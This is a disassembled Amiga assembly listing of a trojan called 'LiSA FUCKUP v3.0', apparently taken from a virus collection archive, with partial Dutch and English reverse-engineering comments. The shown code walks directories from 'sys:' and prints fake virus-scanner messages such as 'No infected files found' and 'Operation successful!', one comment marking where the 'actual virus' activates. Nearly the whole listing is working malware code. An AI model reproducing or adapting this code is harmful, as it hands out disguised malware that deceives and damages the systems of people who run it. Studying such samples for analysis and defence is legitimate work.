home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusCollectie / l / LisaFuckup3.0 / SEBOLA97....asm next >
Assembly Source File  |  2006-01-04  |  70KB  |  2,555 lines

  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $604
  6. EXT_0002    EQU    $64C
  7. EXT_0003    EQU    $792
  8. EXT_0004    EQU    $15AC
  9. EXT_0005    EQU    $15E0
  10. EXT_0006    EQU    $17A4
  11. EXT_0007    EQU    $17A8
  12. EXT_0008    EQU    $39372900
  13. EXT_0009    EQU    $4EB90000
  14.  
  15.  
  16.  
  17.  
  18.     SECTION S_0,CODE
  19.  
  20. SECSTRT_0:
  21.     MOVEA.L    (ABSEXECBASE).W,A6    ;0000: 2C780004
  22.     MOVE.L    A6,SECSTRT_2        ;0004: 23CE00001760    copieer a6 pointer naar opslag
  23.     MOVE.L    A7,LAB_017C        ;000A: 23CF00001764    A7 naar LAB_017C
  24.     MOVEA.L    ThisTask(A6),A1        ;0010: 226E0114        ThisTask pointer naar A1
  25.     TST.L    172(A1)            ;0014: 4AA900AC        test ??? task hier? (infected?)
  26.     BNE.S    LAB_0000        ;0018: 6640        nope not found (not infected?), jump to LAB_000
  27.     LEA    92(A1),A0        ;001A: 41E9005C        yep, found, lengte van ThisTask naar A0
  28.     MOVE.L    A0,-(A7)        ;001E: 2F08        A0 op stack
  29.     JSR    _LVOWaitPort(A6)    ;0020: 4EAEFE80        (A0)
  30.     MOVEA.L    (A7)+,A0        ;0024: 205F        haal a0 terug van stack
  31.     JSR    _LVOGetMsg(A6)        ;0026: 4EAEFE8C        (A0)
  32.     MOVE.L    D0,LAB_017D        ;002A: 23C000001768    copieer message in LAB_017D
  33.     BSR    LAB_0155        ;0030: 610014DA
  34.     MOVE.L    LAB_017D,-(A7)        ;0034: 2F3900001768    replied message op stack
  35.     BSR    LAB_0024        ;003A: 610003C8
  36.     ADDQ.L    #4,A7            ;003E: 588F
  37.     BSR    LAB_0156_1        ;0040: 610014F2
  38.     MOVEA.L    (ABSEXECBASE).W,A6    ;0044: 2C780004
  39.     JSR    _LVOForbid(A6)        ;0048: 4EAEFF7C
  40.     MOVEA.L    LAB_017D,A1        ;004C: 227900001768    lab_017d ptr naar a1, replymsg
  41.     JSR    _LVOReplyMsg(A6)    ;0052: 4EAEFE86
  42.     MOVEQ    #0,D0            ;0056: 7000        reset d0
  43.     RTS                ;0058: 4E75
  44. LAB_0000:
  45.     MOVE.L    A0,-(A7)        ;005A: 2F08        save a0
  46.     MOVE.L    D0,-(A7)        ;005C: 2F00        save d0
  47.     BSR    LAB_0155        ;005E: 610014AC        jump naar opening shit etc. (hoofdpijn :) )
  48.     BSR    LAB_0047        ;0062: 61000618
  49.     ADDQ.L    #8,A7            ;0066: 508F
  50.     MOVE.L    D0,-(A7)        ;0068: 2F00
  51.     BSR    LAB_0156_1        ;006A: 610014C8
  52.     MOVE.L    (A7)+,D0        ;006E: 201F
  53.     RTS                ;0070: 4E75
  54.     DC.W    $0000            ;0072
  55. LAB_0001:
  56.     MOVE.L    4(A7),D0        ;0074: 202F0004        copier stack stuff naar d0
  57.     MOVEA.L    LAB_017C,A7        ;0078: 2E7900001764    copieer stack pointer terug in stack
  58.     MOVE.L    D0,-(A7)        ;007E: 2F00        oude stack pointer op stack
  59.     BSR    LAB_0156_1        ;0080: 610014B2
  60.     MOVE.L    LAB_017D,D2        ;0084: 243900001768
  61.     BEQ.S    LAB_0002        ;008A: 670E
  62.     MOVEA.L    (ABSEXECBASE).W,A6    ;008C: 2C780004
  63.     JSR    -LVOForbid(A6)        ;0090: 4EAEFF7C
  64.     MOVEA.L    D2,A1            ;0094: 2242
  65.     JSR    _LVOReplyMsg(A6)    ;0096: 4EAEFE86
  66. LAB_0002:
  67.     MOVE.L    (A7)+,D0        ;009A: 201F
  68.     RTS                ;009C: 4E75
  69.     DC.W    $0000            ;009E
  70. ;- ACTUAL VIRUS ACTIVATED HERE! -
  71. LAB_0003:
  72.     MOVE.L    #LAB_0013+1,-(A7)    ;00A0: 2F3C0000038B
  73.     JSR    LAB_007E        ;00A6: 4EB900000948
  74.     ADDQ    #4,A7            ;00AC: 584F
  75.     CLR.L    -(A7)            ;00AE: 42A7
  76.     MOVE.L    #SECSTRT_3,-(A7)    ;00B0: 2F3C000018BC
  77.     JSR    LAB_017A        ;00B6: 4EB900001748
  78.     ADDQ    #8,A7            ;00BC: 504F
  79.     MOVE.L    #LAB_0022+1,-(A7)    ;00BE: 2F3C000003FD
  80.     JSR    LAB_0004        ;00C4: 4EB9000000F6
  81.     ADDQ    #4,A7            ;00CA: 584F
  82.     MOVE.L    LAB_017F,-(A7)        ;00CC: 2F3900001774
  83.     MOVE.L    LAB_017E,-(A7)        ;00D2: 2F3900001770
  84.     MOVE.L    #LAB_000E,-(A7)        ;00D8: 2F3C00000332
  85.     JSR    LAB_007E        ;00DE: 4EB900000948
  86.     ADDA    #$000C,A7        ;00E4: DEFC000C
  87.     CLR.L    -(A7)            ;00E8: 42A7
  88.     JSR    LAB_0172        ;00EA: 4EB900001684
  89.     ADDQ    #4,A7            ;00F0: 584F
  90.     MOVEQ    #0,D0            ;00F2: 7000
  91.     RTS                ;00F4: 4E75
  92. LAB_0004:
  93.     LINK    A5,#-276        ;00F6: 4E55FEEC
  94.     MOVEM.L    D2-D5/A2,-(A7)        ;00FA: 48E73C20
  95.     MOVE.L    #$FFFFFFFE,-(A7)    ;00FE: 2F3CFFFFFFFE
  96.     MOVE.L    8(A5),-(A7)        ;0104: 2F2D0008
  97.     JSR    LAB_0175        ;0108: 4EB9000016C4
  98.     ADDQ    #8,A7            ;010E: 504F
  99.     MOVE.L    D0,D3            ;0110: 2600
  100.     BNE.S    LAB_0005        ;0112: 660C
  101.     PEA    (20).W            ;0114: 48780014
  102.     JSR    LAB_0001        ;0118: 4EB900000074
  103.     ADDQ    #4,A7            ;011E: 584F
  104. LAB_0005:
  105.     MOVE.L    D3,-(A7)        ;0120: 2F03
  106.     JSR    LAB_0169        ;0122: 4EB900001638
  107.     ADDQ    #4,A7            ;0128: 584F
  108.     MOVE.L    D0,D5            ;012A: 2A00
  109.     CLR.L    -(A7)            ;012C: 42A7
  110.     PEA    (2).W            ;012E: 48780002
  111.     JSR    LAB_0166        ;0132: 4EB900001608
  112.     ADDQ    #8,A7            ;0138: 504F
  113.     MOVEA.L    D0,A2            ;013A: 2440
  114.     CMPA    #$0000,A2        ;013C: B4FC0000
  115.     BNE.S    LAB_0006        ;0140: 6616
  116.     MOVE.L    D3,-(A7)        ;0142: 2F03
  117.     JSR    LAB_0178        ;0144: 4EB900001718
  118.     ADDQ    #4,A7            ;014A: 584F
  119.     PEA    (21).W            ;014C: 48780015
  120.     JSR    LAB_0001        ;0150: 4EB900000074
  121.     ADDQ    #4,A7            ;0156: 584F
  122. LAB_0006:
  123.     MOVE.L    A2,-(A7)        ;0158: 2F0A
  124.     MOVE.L    D3,-(A7)        ;015A: 2F03
  125.     JSR    LAB_016E        ;015C: 4EB900001668
  126.     ADDQ    #8,A7            ;0162: 504F
  127.     TST.L    D0            ;0164: 4A80
  128.     BEQ    LAB_000A        ;0166: 67000118
  129.     BRA    LAB_0009        ;016A: 600000DA
  130. LAB_0007:
  131.     PEA    (1005).W        ;016E: 487803ED
  132.     PEA    8(A2)            ;0172: 486A0008
  133.     JSR    LAB_0176        ;0176: 4EB9000016E0
  134.     ADDQ    #8,A7            ;017C: 504F
  135.     MOVE.L    D0,D2            ;017E: 2400
  136.     PEA    (16).W            ;0180: 48780010
  137.     MOVE.L    #LAB_001F,-(A7)        ;0184: 2F3C000003EC
  138.     MOVE.L    D2,-(A7)        ;018A: 2F02
  139.     JSR    LAB_0179        ;018C: 4EB90000172C
  140.     ADDA    #$000C,A7        ;0192: DEFC000C
  141.     MOVE.L    D0,D4            ;0196: 2800
  142.     MOVE.L    D2,-(A7)        ;0198: 2F02
  143.     JSR    LAB_0167        ;019A: 4EB900001624
  144.     ADDQ    #4,A7            ;01A0: 584F
  145.     CLR.L    -(A7)            ;01A2: 42A7
  146.     MOVE.L    #LAB_018F,-(A7)        ;01A4: 2F3C000018C0
  147.     JSR    LAB_017A        ;01AA: 4EB900001748
  148.     ADDQ    #8,A7            ;01B0: 504F
  149.     MOVE.L    LAB_018F,D0        ;01B2: 2039000018C0
  150.     SUB.L    SECSTRT_3,D0        ;01B8: 90B9000018BC
  151.     CMPI.L    #$0000003C,D0        ;01BE: 0C800000003C
  152.     BNE.S    LAB_0008        ;01C4: 6610
  153.     MOVE.L    LAB_018F,SECSTRT_3    ;01C6: 23F9000018C0000018BC
  154.     ADDQ.L    #1,LAB_0180        ;01D0: 52B900001778
  155. LAB_0008:
  156.     MOVE.L    LAB_018F,D0        ;01D6: 2039000018C0
  157.     SUB.L    SECSTRT_3,D0        ;01DC: 90B9000018BC
  158.     MOVE.L    D0,-(A7)        ;01E2: 2F00
  159.     MOVE.L    LAB_0180,-(A7)        ;01E4: 2F3900001778
  160.     PEA    8(A2)            ;01EA: 486A0008
  161.     MOVE.L    #LAB_0014+1,-(A7)    ;01EE: 2F3C000003A7
  162.     JSR    LAB_007E        ;01F4: 4EB900000948
  163.     ADDA    #$0010,A7        ;01FA: DEFC0010
  164.     ADDQ.L    #1,LAB_017E        ;01FE: 52B900001770
  165.     CMPI.L    #$00000010,D4        ;0204: 0C8400000010
  166.     BEQ.S    LAB_0009        ;020A: 673A
  167.     MOVE.L    4(A2),D0        ;020C: 202A0004
  168.     CMPI.L    #$00000000,D0        ;0210: 0C8000000000
  169.     BLE.S    LAB_0009        ;0216: 6F2E
  170.     MOVE.L    8(A5),-(A7)        ;0218: 2F2D0008
  171.     PEA    8(A2)            ;021C: 486A0008
  172.     PEA    -256(A5)        ;0220: 486DFF00
  173.     JSR    LAB_000C        ;0224: 4EB9000002CC
  174.     ADDA    #$000C,A7        ;022A: DEFC000C
  175.     SUBQ.L    #1,LAB_017E        ;022E: 53B900001770
  176.     ADDQ.L    #1,LAB_017F        ;0234: 52B900001774
  177.     PEA    -256(A5)        ;023A: 486DFF00
  178.     JSR    LAB_0004        ;023E: 4EB9000000F6
  179.     ADDQ    #4,A7            ;0244: 584F
  180. LAB_0009:
  181.     MOVE.L    A2,-(A7)        ;0246: 2F0A
  182.     MOVE.L    D3,-(A7)        ;0248: 2F03
  183.     JSR    LAB_016C        ;024A: 4EB90000164C
  184.     ADDQ    #8,A7            ;0250: 504F
  185.     TST.L    D0            ;0252: 4A80
  186.     BNE    LAB_0007        ;0254: 6600FF18
  187.     JSR    LAB_0174        ;0258: 4EB9000016B4
  188.     TST.L    D0            ;025E: 4A80
  189.     SEQ    D0            ;0260: 57C0
  190.     ANDI.L    #$00000001,D0        ;0262: 028000000001
  191.     CMPI.L    #$000000E8,D0        ;0268: 0C80000000E8
  192.     BNE.S    LAB_000B        ;026E: 661C
  193.     MOVE.L    #LAB_001D,-(A7)        ;0270: 2F3C000003E4
  194.     JSR    LAB_007E        ;0276: 4EB900000948
  195.     ADDQ    #4,A7            ;027C: 584F
  196.     BRA.S    LAB_000B        ;027E: 600C
  197. LAB_000A:
  198.     PEA    (20).W            ;0280: 48780014
  199.     JSR    LAB_0001        ;0284: 4EB900000074
  200.     ADDQ    #4,A7            ;028A: 584F
  201. LAB_000B:
  202.     MOVE.L    #LAB_001F,-(A7)        ;028C: 2F3C000003EC
  203.     MOVE.L    #LAB_0022+1,-(A7)    ;0292: 2F3C000003FD
  204.     JSR    LAB_0177        ;0298: 4EB9000016FC
  205.     ADDQ    #8,A7            ;029E: 504F
  206.     MOVE.L    A2,-(A7)        ;02A0: 2F0A
  207.     PEA    (2).W            ;02A2: 48780002
  208.     JSR    LAB_0173        ;02A6: 4EB900001698
  209.     ADDQ    #8,A7            ;02AC: 504F
  210.     MOVE.L    D3,-(A7)        ;02AE: 2F03
  211.     JSR    LAB_0178        ;02B0: 4EB900001718
  212.     ADDQ    #4,A7            ;02B6: 584F
  213.     MOVE.L    D5,-(A7)        ;02B8: 2F05
  214.     JSR    LAB_0169        ;02BA: 4EB900001638
  215.     ADDQ    #4,A7            ;02C0: 584F
  216.     MOVEQ    #0,D0            ;02C2: 7000
  217.     MOVEM.L    (A7)+,D2-D5/A2        ;02C4: 4CDF043C
  218.     UNLK    A5            ;02C8: 4E5D
  219.     RTS                ;02CA: 4E75
  220. LAB_000C:
  221.     LINK    A5,#0            ;02CC: 4E550000
  222.     MOVEM.L    D2/A2,-(A7)        ;02D0: 48E72020
  223.     MOVEA.L    8(A5),A2        ;02D4: 246D0008
  224.     CLR.B    (A2)            ;02D8: 4212
  225.     MOVE.L    16(A5),-(A7)        ;02DA: 2F2D0010
  226.     JSR    LAB_015C        ;02DE: 4EB900001588
  227.     MOVE.L    D0,D2            ;02E4: 2400
  228.     ADDQ    #4,A7            ;02E6: 584F
  229.     MOVE.L    12(A5),-(A7)        ;02E8: 2F2D000C
  230.     JSR    LAB_015C        ;02EC: 4EB900001588
  231.     ADDQ    #4,A7            ;02F2: 584F
  232.     ADD.L    D0,D2            ;02F4: D480
  233.     CMPI.L    #$000000FF,D2        ;02F6: 0C82000000FF
  234.     BCC.S    LAB_000D        ;02FC: 642C
  235.     MOVE.L    16(A5),-(A7)        ;02FE: 2F2D0010
  236.     MOVE.L    A2,-(A7)        ;0302: 2F0A
  237.     JSR    LAB_015A        ;0304: 4EB900001578
  238.     ADDQ    #8,A7            ;030A: 504F
  239.     MOVE.L    12(A5),-(A7)        ;030C: 2F2D000C
  240.     MOVE.L    A2,-(A7)        ;0310: 2F0A
  241.     JSR    SECSTRT_1        ;0312: 4EB900001560
  242.     ADDQ    #8,A7            ;0318: 504F
  243.     MOVE.L    #LAB_001C,-(A7)        ;031A: 2F3C000003E2
  244.     MOVE.L    A2,-(A7)        ;0320: 2F0A
  245.     JSR    SECSTRT_1        ;0322: 4EB900001560
  246.     ADDQ    #8,A7            ;0328: 504F
  247. LAB_000D:
  248.     MOVEM.L    (A7)+,D2/A2        ;032A: 4CDF0404
  249.     UNLK    A5            ;032E: 4E5D
  250.     RTS                ;0330: 4E75
  251. LAB_000E:
  252.     DC.W    $0A1B            ;0332        10,$1b
  253.     SUBQ    #5,A3            ;0334:        '[KNo infected fi|es found.',$A
  254.                           ;034E:
  255.  
  256.                     ;0350:        'Scanned %d fi|es in %d directories.',$A
  257.                     ;0372
  258.  
  259.                     ;0374        'Operation successfu||!',$A,0
  260.     MOVEQ    #101,D0            ;0374: 7065
  261.     MOVEQ    #97,D1            ;0376: 7261
  262.     MOVEQ    #105,D2            ;0378: 7469
  263. LAB_0010:
  264.     BLE.S    LAB_001E        ;037A: 6F6E
  265. LAB_0011:
  266.     DC.W    $2073            ;037C
  267.     DC.W    $7563            ;037E
  268.     DC.W    $6365            ;0380
  269.     DC.W    $7373            ;0382
  270.     DC.W    $6675            ;0384
  271. LAB_0012:
  272.     BGE.S    LAB_0021        ;0386: 6C6C
  273.     MOVE.L    A2,-(A0)        ;0388: 210A
  274. LAB_0013:
  275.     DC.W    $001B            ;038A
  276.     DC.W    $5B31            ;038C
  277.     DC.W    $6D53            ;038E
  278.     DC.W    $6361            ;0390
  279.     BGT.S    LAB_0023        ;0392: 6E6E
  280.     BVS.S    LAB_0024        ;0394: 696E
  281.     BEQ.S    LAB_0016        ;0396: 6720
  282.     DC.W    $7379            ;0398
  283.     DC.W    $7374            ;039A
  284.     DC.W    $656D            ;039C
  285.     DC.W    $2E2E            ;039E
  286.     MOVE.L    (A3)+,D7        ;03A0: 2E1B
  287.     DC.W    $5B30            ;03A2
  288.     BLT.S    LAB_0015        ;03A4: 6D0A
  289. LAB_0014:
  290.     DC.W    $001B            ;03A6
  291.     SUBQ    #5,A3            ;03A8: 5B4B
  292.     MOVE.L    13106(A5),-(A2)        ;03AA: 252D3332
  293.     DC.W    $2E33            ;03AE
  294. LAB_0015:
  295.     DC.W    $3273            ;03B0
  296.     SUBQ.B    #5,-(A5)        ;03B2: 5B25
  297.     DC.W    $3032            ;03B4
  298.     BCC.S    LAB_0020        ;03B6: 643A
  299. LAB_0016:
  300.     DC.W    $2530            ;03B8
  301. LAB_0017:
  302.     MOVEA    -(A4),A1        ;03BA: 3264
  303.     DC.W    $5D0A            ;03BC
  304.     MOVE.B    (A3)+,12609(A5)        ;03BE: 1B5B3141
  305. LAB_0018:
  306.     DC.W    $0024            ;03C2
  307.     ADDQ    #3,D5            ;03C4: 5645
  308.     DC.W    $523A            ;03C6
  309.     MOVEA.L    (A3),A0            ;03C8: 2053
  310.     DC.W    $6361            ;03CA
  311.     DC.W    $6E45            ;03CC
  312.     DC.W    $626F            ;03CE
  313. LAB_001A:
  314.     DC.W    $6C61            ;03D0
  315.     MOVE    40(A7,D2.W),-(A4)    ;03D2: 39372028
  316.     DC.W    $3039            ;03D6
  317.     DC.W    $2F31            ;03D8
  318.     DC.W    $302F            ;03DA
  319. LAB_001B:
  320.     MOVE    EXT_0008,-(A0)        ;03DC: 313939372900
  321. LAB_001C:
  322.     MOVE.L    D0,-(A7)        ;03E2: 2F00
  323. LAB_001D:
  324.     DC.W    $4572            ;03E4
  325.     MOVEQ    #111,D1            ;03E6: 726F
  326.     MOVEQ    #33,D1            ;03E8: 7221
  327. LAB_001E:
  328.     DC.W    $0A00            ;03EA
  329. LAB_001F:
  330.     DC.W    $4C69            ;03EC            'LiSA FUCKUP v3.0',0
  331.     SUBQ    #1,D1            ;03EE: 5341
  332.     MOVEA.L    D6,A0            ;03F0: 2046
  333. LAB_0020:
  334.     SUBQ    #2,D3            ;03F2: 5543
  335. LAB_0021:
  336.     DC.W    $4B55            ;03F4
  337.     ADDQ.B    #8,-(A0)        ;03F6: 5020
  338.     MOVEQ    #51,D3            ;03F8: 7633
  339.     DC.W    $2E30            ;03FA
  340. LAB_0022:
  341.     DC.W    $0073            ;03FC            'sys:',0
  342.     DC.W    $7973            ;03FE
  343.     MOVE    D0,D5            ;0400: 3A00
  344. LAB_0023:
  345.     DC.W    $0000            ;0402
  346. LAB_0024:
  347.     RTS                ;0404: 4E75
  348.     DC.W    $0000            ;0406
  349. LAB_0025:
  350.     MOVEM.L    D2-D5/A2-A3/A5,-(A7)    ;0408: 48E73C34    save d2/d5 a2-a3/a5 op stack
  351.     MOVEQ    #0,D3            ;040C: 7600        d3 leeg
  352.     LEA    28(A3),A5        ;040E: 4BEB001C        copieer ?? naar a5 (dummy?)
  353.     LEA    20(A3),A2        ;0412: 45EB0014        (dummy?)
  354.     MOVEA.L    32(A7),A3        ;0416: 266F0020        get stdin/out ??
  355.     MOVE.L    36(A7),D2        ;041A: 242F0024        nul...
  356.     MOVE.L    44(A7),D4        ;041E: 282F002C        200
  357.     MOVE.L    40(A7),D5        ;0422: 2A2F0028        FFFFFFFF
  358.     BNE.S    LAB_0029        ;0426: 6634        not equal....
  359.     BSR.S    LAB_0027        ;0428: 611E
  360.     BTST    #4,23(A3)        ;042A: 082B00040017
  361.     BEQ.S    LAB_0026        ;0430: 6706
  362.     MOVE.L    (A5),D0            ;0432: 2015
  363.     BEQ.S    LAB_0026        ;0434: 6702
  364.     BSR.S    LAB_0028        ;0436: 611A
  365. LAB_0026:
  366.     CLR.L    (A5)            ;0438: 4295
  367.     MOVEQ    #-17,D1            ;043A: 72EF
  368.     AND.L    D1,(A2)            ;043C: C392
  369.     CLR.L    32(A3)            ;043E: 42AB0020
  370.     CLR.L    44(A3)            ;0442: 42AB002C
  371.     BRA.S    LAB_002E        ;0446: 604E
  372. LAB_0027:
  373.     MOVE.L    A3,-(A7)        ;0448: 2F0B
  374.     BSR    LAB_011E        ;044A: 61000CFC
  375.     ADDQ    #4,A7            ;044E: 584F
  376.     RTS                ;0450: 4E75
  377. LAB_0028:
  378.     MOVE.L    (A5),-(A7)        ;0452: 2F15
  379.     BSR    LAB_0076        ;0454: 61000448
  380.     ADDQ    #4,A7            ;0458: 584F
  381.     RTS                ;045A: 4E75
  382. LAB_0029:
  383.     TST.L    D2            ;045C: 4A82        
  384.     BNE.S    LAB_002B        ;045E: 6612        to LAB_002b if d2<>nil
  385.     MOVE.L    D4,-(A7)        ;0460: 2F04        copieer 200 naar stack
  386.     BSR    LAB_0069        ;0462: 61000358        jump...
  387.     MOVE.L    D0,D2            ;0466: 2400
  388.     ADDQ    #4,A7            ;0468: 584F
  389.     BNE.S    LAB_002A        ;046A: 6604
  390.     MOVEQ    #-1,D0            ;046C: 70FF
  391.     BRA.S    LAB_002F        ;046E: 6030
  392. LAB_002A:
  393.     MOVEQ    #16,D3            ;0470: 7610        d3=16
  394. LAB_002B:
  395.     TST.L    (A5)            ;0472: 4A95
  396.     BEQ.S    LAB_002D        ;0474: 6710
  397.     BSR.S    LAB_0027        ;0476: 61D0
  398.     BTST    #4,3(A2)        ;0478: 082A00040003
  399.     BEQ.S    LAB_002C        ;047E: 6702
  400.     BSR.S    LAB_0028        ;0480: 61D0
  401. LAB_002C:
  402.     MOVEQ    #-17,D1            ;0482: 72EF
  403.     AND.L    D1,(A2)            ;0484: C392
  404. LAB_002D:
  405.     MOVE.L    D2,28(A3)        ;0486: 2742001C
  406.     OR.L    D3,20(A3)        ;048A: 87AB0014
  407.     MOVE.L    D4,32(A3)        ;048E: 27440020
  408.     MOVE.L    D5,44(A3)        ;0492: 2745002C
  409. LAB_002E:
  410.     CLR.L    36(A3)            ;0496: 42AB0024
  411.     CLR.L    40(A3)            ;049A: 42AB0028
  412.     MOVEQ    #0,D0            ;049E: 7000
  413. LAB_002F:
  414.     MOVEM.L    (A7)+,D2-D5/A2-A3/A5    ;04A0: 4CDF2C3C
  415.     RTS                ;04A4: 4E75
  416.     DC.W    $0000            ;04A6
  417. LAB_0030:
  418.     LINK    A5,#-4            ;04A8: 4E55FFFC
  419.     PEA    (1).W            ;04AC: 48780001
  420.     PEA    (1).W            ;04B0: 48780001
  421.     PEA    -1(A5)            ;04B4: 486DFFFF
  422.     MOVE.L    8(A5),-(A7)        ;04B8: 2F2D0008
  423.     BSR    LAB_0124        ;04BC: 61000CF2
  424.     LEA    16(A7),A7        ;04C0: 4FEF0010
  425.     SUBQ.L    #1,D0            ;04C4: 5380
  426.     BNE.S    LAB_0031        ;04C6: 6608
  427.     MOVEQ    #0,D0            ;04C8: 7000
  428.     MOVE.B    -1(A5),D0        ;04CA: 102DFFFF
  429.     BRA.S    LAB_0032        ;04CE: 6002
  430. LAB_0031:
  431.     MOVEQ    #-1,D0            ;04D0: 70FF
  432. LAB_0032:
  433.     UNLK    A5            ;04D2: 4E5D
  434.     RTS                ;04D4: 4E75
  435.     DC.W    $0000            ;04D6
  436. LAB_0033:
  437.     MOVEA.L    4(A7),A0        ;04D8: 206F0004
  438.     MOVE.L    12(A0),D0        ;04DC: 2028000C
  439.     LEA    LAB_0124(PC),A1        ;04E0: 43FA0CCE
  440.     MOVE.L    A1,48(A0)        ;04E4: 21490030
  441.     LEA    LAB_0030(PC),A1        ;04E8: 43FAFFBE
  442.     MOVE.L    A1,64(A0)        ;04EC: 21490040
  443.     AND.L    #$000000FF,D0        ;04F0: C0BC000000FF
  444.     RTS                ;04F6: 4E75
  445. LAB_0034:
  446.     LINK    A5,#-6            ;04F8: 4E55FFFA
  447.     MOVE.L    12(A5),D1        ;04FC: 222D000C
  448.     MOVE.B    D1,-5(A5)        ;0500: 1B41FFFB
  449.     PEA    (1).W            ;0504: 48780001
  450.     PEA    -5(A5)            ;0508: 486DFFFB
  451.     MOVE.L    8(A5),-(A7)        ;050C: 2F2D0008
  452.     BSR    LAB_013A        ;0510: 61000DD6
  453.     LEA    12(A7),A7        ;0514: 4FEF000C
  454.     SUBQ.L    #1,D0            ;0518: 5380
  455.     BNE.S    LAB_0035        ;051A: 6604
  456.     MOVE.L    D1,D0            ;051C: 2001
  457.     BRA.S    LAB_0036        ;051E: 6002
  458. LAB_0035:
  459.     MOVEQ    #-1,D0            ;0520: 70FF
  460. LAB_0036:
  461.     UNLK    A5            ;0522: 4E5D
  462.     RTS                ;0524: 4E75
  463.     DC.W    $0000            ;0526
  464. LAB_0037:
  465.     MOVEM.L    D2/A2-A3/A5,-(A7)    ;0528: 48E72034
  466.     MOVEA.L    20(A7),A0        ;052C: 206F0014
  467.     MOVEA.L    24(A7),A1        ;0530: 226F0018
  468.     MOVEA.L    28(A7),A3        ;0534: 266F001C
  469.     MOVE.L    32(A7),D1        ;0538: 222F0020
  470.     MOVEQ    #1,D0            ;053C: 7001
  471.     MOVE.B    15(A0),(A1)        ;053E: 12A8000F
  472.     LEA    LAB_0124(PC),A2        ;0542: 45FA0C6C
  473.     MOVE.L    A2,48(A0)        ;0546: 214A0030
  474.     LEA    LAB_0030(PC),A5        ;054A: 4BFAFF5C
  475.     MOVE.L    A5,64(A0)        ;054E: 214D0040
  476.     CMP.L    A3,D0            ;0552: B08B
  477.     BCC.S    LAB_0039        ;0554: 641C
  478.     TST.L    D1            ;0556: 4A81
  479.     BEQ.S    LAB_0038        ;0558: 6706
  480.     CMPI.B    #$0A,(A1)        ;055A: 0C11000A
  481.     BEQ.S    LAB_0039        ;055E: 6712
  482. LAB_0038:
  483.     MOVE.L    D1,-(A7)        ;0560: 2F01
  484.     PEA    -1(A3)            ;0562: 486BFFFF
  485.     PEA    1(A1)            ;0566: 48690001
  486.     MOVE.L    A0,-(A7)        ;056A: 2F08
  487.     JSR    (A2)            ;056C: 4E92
  488.     BLT.S    LAB_0039        ;056E: 6D02
  489.     ADDQ.L    #1,D0            ;0570: 5280
  490. LAB_0039:
  491.     LEA    16(A7),A7        ;0572: 4FEF0010
  492.     MOVEM.L    (A7)+,D2/A2-A3/A5    ;0576: 4CDF2C04
  493.     RTS                ;057A: 4E75
  494. LAB_003A:
  495.     MOVEA.L    4(A7),A0        ;057C: 206F0004
  496.     MOVE.L    8(A7),D0        ;0580: 202F0008
  497.     MOVE.L    D0,12(A0)        ;0584: 2140000C
  498.     LEA    LAB_0037(PC),A1        ;0588: 43FAFF9E
  499.     MOVE.L    A1,48(A0)        ;058C: 21490030
  500.     LEA    LAB_0033(PC),A1        ;0590: 43FAFF46
  501.     MOVE.L    A1,64(A0)        ;0594: 21490040
  502.     RTS                ;0598: 4E75
  503.     DC.W    $0000            ;059A
  504. LAB_003B:
  505.     MOVEA.L    4(A7),A1        ;059C: 226F0004
  506.     MOVEQ    #1,D0            ;05A0: 7001
  507.     AND.L    20(A1),D0        ;05A2: C0A90014
  508.     RTS                ;05A6: 4E75
  509. LAB_003C:
  510.     MOVEM.L    D4-D7,-(A7)        ;05A8: 48E70F00
  511.     MOVEQ    #65,D4            ;05AC: 7841
  512.     MOVEQ    #0,D5            ;05AE: 7A00
  513.     MOVEQ    #0,D6            ;05B0: 7C00
  514.     MOVEQ    #0,D7            ;05B2: 7E00
  515.     TST.L    D3            ;05B4: 4A83
  516.     BNE.S    LAB_003D        ;05B6: 6606
  517.     MOVEQ    #0,D1            ;05B8: 7200
  518.     MOVEQ    #0,D0            ;05BA: 7000
  519.     DIVU    D0,D1            ;05BC: 82C0
  520. LAB_003D:
  521.     SUBQ.L    #1,D4            ;05BE: 5384
  522.     BEQ.S    LAB_003E        ;05C0: 6718
  523.     ADD.L    D6,D6            ;05C2: DC86
  524.     ROXL.L    #1,D7            ;05C4: E397
  525.     ADD.L    D2,D2            ;05C6: D482
  526.     ROXL.L    #1,D0            ;05C8: E390
  527.     ROXL.L    #1,D5            ;05CA: E395
  528.     CMP.L    D3,D5            ;05CC: BA83
  529.     BCS.S    LAB_003D        ;05CE: 65EE
  530.     SUB.L    D3,D5            ;05D0: 9A83
  531.     ADDQ.L    #1,D6            ;05D2: 5286
  532.     BNE.S    LAB_003D        ;05D4: 66E8
  533.     ADDQ.L    #1,D7            ;05D6: 5287
  534.     BRA.S    LAB_003D        ;05D8: 60E4
  535. LAB_003E:
  536.     MOVE.L    D6,D2            ;05DA: 2406
  537.     MOVE.L    D7,D0            ;05DC: 2007
  538.     MOVE.L    D5,D3            ;05DE: 2605
  539.     MOVEM.L    (A7)+,D4-D7        ;05E0: 4CDF00F0
  540.     RTS                ;05E4: 4E75
  541.     DC.W    $0000            ;05E6
  542. openmathbas:
  543.     MOVEA.L    (ABSEXECBASE).W,A6    ;05E8: 2C780004
  544.     LEA    mathbasname(PC),A1    ;05EC: 43FA002A        ptr naar LAB_0042
  545.     JSR    _LVOOldOpenLibrary(A6)    ;05F0: 4EAEFE68
  546.     MOVE.L    D0,mathbasstore        ;05F4: 23C0000017AC    copieer ptr naar mathbasstore
  547.     BNE.S    LAB_0041        ;05FA: 661A        error, exit
  548.     PEA    (20).W            ;05FC: 48780014        ???
  549.     BSR    LAB_0001        ;0600: 6100FA72        
  550. closemathbas:
  551.     MOVE.L    mathbasstore,D0        ;0604: 2039000017AC    mathieeedoubbas.library ptr
  552.     BEQ.S    LAB_0041        ;060A: 670A
  553.     MOVEA.L    D0,A1            ;060C: 2240
  554.     MOVEA.L    (ABSEXECBASE).W,A6    ;060E: 2C780004
  555.     JSR    _LVOCloseLibrary(A6)    ;0612: 4EAEFE62
  556. LAB_0041:
  557.     RTS                ;0616: 4E75
  558. mathbasname:
  559.     DC.W    $6D61            ;0618        'mathieeedoubbas.library'
  560.     MOVEQ    #104,D2            ;061A: 7468
  561.     DC.W    $6965            ;061C
  562.     DC.W    $6565            ;061E
  563.     DC.W    $646F            ;0620
  564.     DC.W    $7562            ;0622
  565.     DC.W    $6261            ;0624
  566.     DC.W    $732E            ;0626
  567.     DC.W    $6C69            ;0628
  568.     BHI.S    LAB_0048        ;062A: 6272
  569.     BSR.S    LAB_0049        ;062C: 6172
